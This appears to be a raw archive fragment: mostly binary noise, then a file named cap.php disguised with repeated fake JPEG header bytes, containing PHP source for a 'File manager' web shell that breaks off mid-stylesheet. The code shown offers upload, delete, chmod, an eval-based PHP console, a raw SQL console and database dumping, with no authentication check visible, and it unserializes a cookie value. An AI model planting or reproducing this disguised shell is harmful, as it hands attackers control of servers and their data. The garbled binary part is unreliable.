"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+R